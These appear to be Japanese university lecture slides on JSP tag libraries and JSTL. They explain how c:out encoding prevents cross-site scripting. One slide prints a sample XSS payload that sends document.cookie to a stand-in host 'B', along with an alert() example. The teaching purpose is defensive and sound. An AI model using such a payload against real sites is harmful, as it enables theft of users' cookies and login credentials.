2003年度 データベース論

タグライブラリとJSP
J2EE II 第2回
2004年10月7日 (木)
1
ここでの内容


タグライブラリの使い方、特にJSTLについ
て学ぶ。
クロスサイトスクリプティングについて学
ぶ。
2
カスタムタグ



JSPの中で定義できる独自のタグ。
スクリプトレットを使って記述するところをタ
グで表現できる。
カスタムタグを、見通しのよいJSPを作成で
きる。
3
タグライブラリ


複数のカスタムタグをまとめてひとつの
パッケージにしたものを「タグライブラリ」と
言う。
タグライブラリの構成


タグの処理を記述する Java のプログラム (通
常は Jar ファイルで提供される)
タグに関する情報を持つ Tag Library
Descriptor (TLD)
4
さまざまなタグライブラリ


既製のタグライブラリがいくつかある。
JavaServer Pages Standard Tag Library (JSTL)





値の設定・制御構造
データベースへのアクセス、国際化、XMLの解析など
Jakarta Taglibs
JSF のタグライブラリ
などなど
5
JSTLによるタグのエンコード (1)


フォームから入力した
文字列を出力するサ
ンプル
c:out を使うと、“<”
や “>” や “&” といっ
た文字をエンコードす
る。
<p>
c:out を使わない場合:
<%=
request.getParameter("title")
%>
</p>
<p>
c:out を使った場合:
<c:out value="${param.title}" />
</p>
6
JSTLによるタグのエンコード (2)

入力文字列


c:out を使った場合


<m>wakhok</m>
<m>wakhok</m>
c:out を使わない場合

wakhok
7
クロスサイトスクリプティング (1)
フォームから入力されたタグが
そのまま出力される
↓
入力された文字が JavaScript だった場合
↓
JavaScript が実行されてしまう!
8
クロスサイトスクリプティング (2)
実例
<script>alert(“アホですか?”);</script>
↓
警告画面が表示されてしまう
9
クロスサイトスクリプティング (3)
cookie が盗まれる例 (1)



ショッピングサイト “WAK” とその利用者が
狙われる例
“WAK” の商品検索システムは、クロスサ
イトスクリプティングを引き起こしてしまうよ
うになっている。
“WAK” では、商品を購入するときに使う
ユーザ名とパスワードを cookie に保存し
ている。
10
クロスサイトスクリプティング (4)
cookie が盗まれる例 (2)



ここで、怪しいサイト“A”が登場する。
“A” には、“WAK” へのリンクが貼られてい
る。
その内容は

WAK の Cookie を取得して、その Cookie を
別のサイト “B” の getCookie.jsp に渡す
JavaScript
11
クロスサイトスクリプティング (5)
cookie が盗まれる例 (3)

リンクの内容
<a href=
“http://wak/search.jsp?p=(JavaScriptのタグ)”>
Hなサイト
</a>
12
クロスサイトスクリプティング (6)
cookie が盗まれる例 (4)

JavaScript の内容
<script>
s = document.cookie;
location.href = “http://B/getCookie.jsp?c=“+s;
</script>
13
クロスサイトスクリプティング (7)
cookie が盗まれる例 (5)




“WAK” の利用者が サイト “A” へのリンク
をうっかり押してしまった場合
リンク先の “WAK” のサイトが表示されると
き、同時に JavaScript を実行されて
Cookie を盗まれる
ユーザ名とパスワードを盗られたので、あ
とはやられ放題。
14
JSTLによるタグのエンコード (3)



タグの入力を許可してしまうと、クロスサイ
トスクリプティングを引き起こすことが考え
られる。
タグの入力を許可しない方がよい。
こうした処理をタグライブラリを使わずに書
くには、スクリプトレットを使う必要がある。
15
タグライブラリを使う
利用するタグライブラリと、その接頭辞を指定
<%@ taglib prefix="c"
uri="http://java.sun.com/jsp/jstl/core" %>

16
式言語 (Expression Language)
${var}
${param.title}
${book.author}
変数 var
フォームから入力され
たデータ "title" の値
book という Bean の
author プロパティ
17
制御構造の例
<ul>
<c:forEach var="book"
items="${bookList.iterator}" >
<li>
<c:out value="${book.title}" />
/
<c:out value="${book.author}" />
</li>
</c:forEach>
</ul>
18
JSTL の Tomcat への配置

JSTL の配布パッケージの lib フォルダに
含まれている次の2つのjarファイルを
WEB-INF/lib フォルダにコピーする。


jstl.jar
standard.jar
19
参考文献・URL
タグライブラリ関連

JavaServer Pages Standard Tag Library


http://java.sun.com/products/jsp/jstl/index.jsp
Jakarta Taglibs

http://jakarta.apache.org/taglibs/index.html
20
参考文献・URL
クロスサイトスクリプティング (1)

セキュアプログラミング講座



独立行政法人情報処理推進機構が提供している、安全なプログラミン
グをするための講座。1-2 がクロスサイトスクリプティングの解説とその
対策になっている。
http://www.ipa.go.jp/security/awareness/vendor/programming/ind
ex.html
クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱
さの実体とその対策




高木 浩光,関口 智嗣,大蒔 和仁
高木浩光氏らによる2001年の論文。クロスサイトスクリプティングについ
てわかりやすく記述されている。
この論文の発表以降、これらの電子商取引サイトではクロスサイトスクリ
プティングの対策は十分にとられている(はずだ)が、この内容の重要性
は変わっていない。
http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf
21
参考文献・URL
クロスサイトスクリプティング (2)

安全なWebアプリ開発40箇条の鉄則



産業技術総合研究所の高木浩光氏のスライ
ド。
安全なWebアプリケーション構築のためのポ
イントがコンパクトにまとめられている。必読。
http://java-house.jp/~takagi/paper/idgjwd2003-takagi-dist.pdf
22